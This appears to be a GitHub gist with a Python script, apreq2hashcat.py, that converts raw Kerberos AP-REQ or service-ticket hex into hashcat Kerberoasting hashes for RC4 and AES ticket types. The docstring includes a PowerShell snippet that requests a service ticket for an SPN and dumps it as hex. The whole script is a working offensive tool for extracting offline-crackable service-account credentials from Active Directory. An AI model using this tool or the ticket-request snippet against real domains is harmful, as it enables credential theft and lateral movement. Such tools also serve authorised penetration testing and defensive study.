Skip to content

Instantly share code, notes, and snippets.

@stuartw1
Created July 7, 2026 13:40
Show Gist options
  • Select an option

  • Save stuartw1/f968db9b17a9779bdb311fda31af948d to your computer and use it in GitHub Desktop.

Select an option

Save stuartw1/f968db9b17a9779bdb311fda31af948d to your computer and use it in GitHub Desktop.
Convert AP-REQ to hashcat
#!/usr/bin/env python3
"""
apreq2hashcat.py -- convert a raw Kerberos AP-REQ / ticket (hex) into a
hashcat-ready Kerberoasting hash.
Input is the hex you get from, e.g., PowerShell:
$Request = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN
($Request.GetRequest() | % { '{0:X2}' -f $_ }) -join ''
It accepts the GSS-wrapped AP-REQ (starts 0x60), a bare AP-REQ (0x6E),
or a bare Ticket (0x61). The etype is auto-detected and the correct
hashcat format is emitted:
etype 23 (RC4) -> $krb5tgs$23$*user$realm$spn*$checksum$edata2 (-m 13100)
etype 17 (AES128) -> $krb5tgs$17$user$realm$checksum$edata2 (-m 19600)
etype 18 (AES256) -> $krb5tgs$18$user$realm$checksum$edata2 (-m 19700)
A line already starting with "$krb" is passed through unchanged.
"""
import sys
import argparse
import re
# ---- minimal DER/BER reader ------------------------------------------------
def read_tlv(b, i):
"""Return (tag, value_bytes, next_index) for the TLV at offset i."""
tag = b[i]; i += 1
if (tag & 0x1F) == 0x1F: # high-tag-number form (rare in krb)
while b[i] & 0x80:
i += 1
i += 1
length = b[i]; i += 1
if length & 0x80: # long-form length
n = length & 0x7F
length = int.from_bytes(b[i:i + n], "big")
i += n
return tag, b[i:i + length], i + length
def tlvs(b):
"""Iterate the concatenated TLVs contained in a constructed value."""
out, i = [], 0
while i < len(b):
tag, val, i = read_tlv(b, i)
out.append((tag, val))
return out
def find(children, tag):
for t, v in children:
if t == tag:
return v
return None
# ---- Kerberos navigation ---------------------------------------------------
def strip_gss(b):
"""Unwrap a GSS-API InitialContextToken: [APP 0]{ OID krb5, tok-id(2), msg }."""
if b and b[0] == 0x60:
_, val, _ = read_tlv(b, 0)
_, _, after_oid = read_tlv(val, 0) # skip the mechanism OID
return val[after_oid + 2:] # skip the 2-byte tok-id
return b
def ticket_fields(b):
"""From GSS/AP-REQ/Ticket hex bytes, return the Ticket's field TLV list."""
b = strip_gss(b)
tag = b[0]
if tag == 0x6E: # AP-REQ [APPLICATION 14]
apreq_seq = read_tlv(b, 0)[1]
fields = read_tlv(apreq_seq, 0)[1]
ticket_ctx = find(tlvs(fields), 0xA3) # ticket [3]
if ticket_ctx is None:
raise ValueError("AP-REQ has no ticket field [3]")
b = ticket_ctx
tag = b[0]
if tag != 0x61: # Ticket [APPLICATION 1]
raise ValueError(f"expected a Ticket (0x61), first tag was 0x{tag:02X}")
ticket_val = read_tlv(b, 0)[1] # value = inner SEQUENCE
return tlvs(read_tlv(ticket_val, 0)[1])
def parse_ticket(b):
"""Return (etype, realm, spn, cipher_hex) from ticket hex bytes."""
fields = ticket_fields(b)
realm = find(tlvs(find(fields, 0xA1)), 0x1B).decode() # realm [1] GeneralString
sname_seq = read_tlv(find(fields, 0xA2), 0)[1] # sname [2] PrincipalName
namestring = read_tlv(find(tlvs(sname_seq), 0xA1), 0)[1] # [1] name-string
spn = "/".join(v.decode() for t, v in tlvs(namestring) if t == 0x1B)
enc = tlvs(read_tlv(find(fields, 0xA3), 0)[1]) # enc-part [3] EncryptedData
etype = int.from_bytes(find(tlvs(find(enc, 0xA0)), 0x02), "big") # [0] etype
cipher = find(tlvs(find(enc, 0xA2)), 0x04) # [2] cipher OCTET STRING
return etype, realm, spn, cipher.hex()
# ---- hashcat formatting ----------------------------------------------------
def to_hashcat(etype, realm, spn, cipher_hex, user):
if etype == 23: # RC4: checksum = first 16 bytes
checksum, edata2 = cipher_hex[:32], cipher_hex[32:]
return f"$krb5tgs$23$*{user}${realm}${spn}*${checksum}${edata2}"
if etype in (17, 18): # AES: checksum = last 12 bytes
checksum, edata2 = cipher_hex[-24:], cipher_hex[:-24]
return f"$krb5tgs${etype}${user}${realm}${checksum}${edata2}"
raise ValueError(f"unsupported etype {etype} (expected 17, 18 or 23)")
def convert(line, user, realm_override, warn):
line = line.strip()
if line.lower().startswith("$krb"): # already a hashcat hash -> passthrough
return line
cleaned = re.sub(r"[\s:]", "", line)
if cleaned[:2].lower() == "0x":
cleaned = cleaned[2:]
raw = bytes.fromhex(cleaned)
etype, realm, spn, cipher_hex = parse_ticket(raw)
if realm_override:
realm = realm_override
u = user or spn.split("/")[0]
if etype in (17, 18) and not user:
warn(f"etype {etype} (AES) salt is REALM+samAccountName; USER defaulted to "
f"'{u}' from the SPN. It will load but NOT crack unless you pass "
f"--user <samAccountName>.")
return to_hashcat(etype, realm, spn, cipher_hex, u)
# ---- CLI -------------------------------------------------------------------
def main():
ap = argparse.ArgumentParser(
description="Convert a raw Kerberos AP-REQ/ticket (hex) into a hashcat-ready "
"$krb5tgs$ hash. Reads one hex blob per line from stdin unless "
"--hash or --infile is given.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="examples:\n"
" echo <HEX> | %(prog)s --user svc_sql\n"
" %(prog)s --hash <HEX> --user svc_sql\n"
" %(prog)s --infile requests.txt --outfile hashes.txt --user svc_sql")
ap.add_argument("--hash", metavar="HEX", help="a single AP-REQ/ticket hex blob to convert")
ap.add_argument("--infile", metavar="PATH", help="read one hex blob per line from PATH")
ap.add_argument("--outfile", metavar="PATH", help="write one hashcat hash per line to PATH")
ap.add_argument("--user", metavar="NAME",
help="service account samAccountName (forms the AES salt; required to "
"crack etype 17/18, cosmetic for etype 23)")
ap.add_argument("--realm", metavar="REALM", help="override the realm parsed from the ticket")
args = ap.parse_args()
if args.hash is not None:
lines = [args.hash]
elif args.infile:
with open(args.infile) as f:
lines = f.read().splitlines()
else:
lines = sys.stdin.read().splitlines()
def warn(msg):
print(f"[!] {msg}", file=sys.stderr)
results = []
for ln in lines:
if not ln.strip():
continue
try:
results.append(convert(ln, args.user, args.realm, warn))
except Exception as e:
warn(f"skipped input ({e})")
blob = "".join(r + "\n" for r in results)
if args.outfile:
with open(args.outfile, "w") as f:
f.write(blob)
warn(f"wrote {len(results)} hash(es) to {args.outfile}")
else:
sys.stdout.write(blob)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment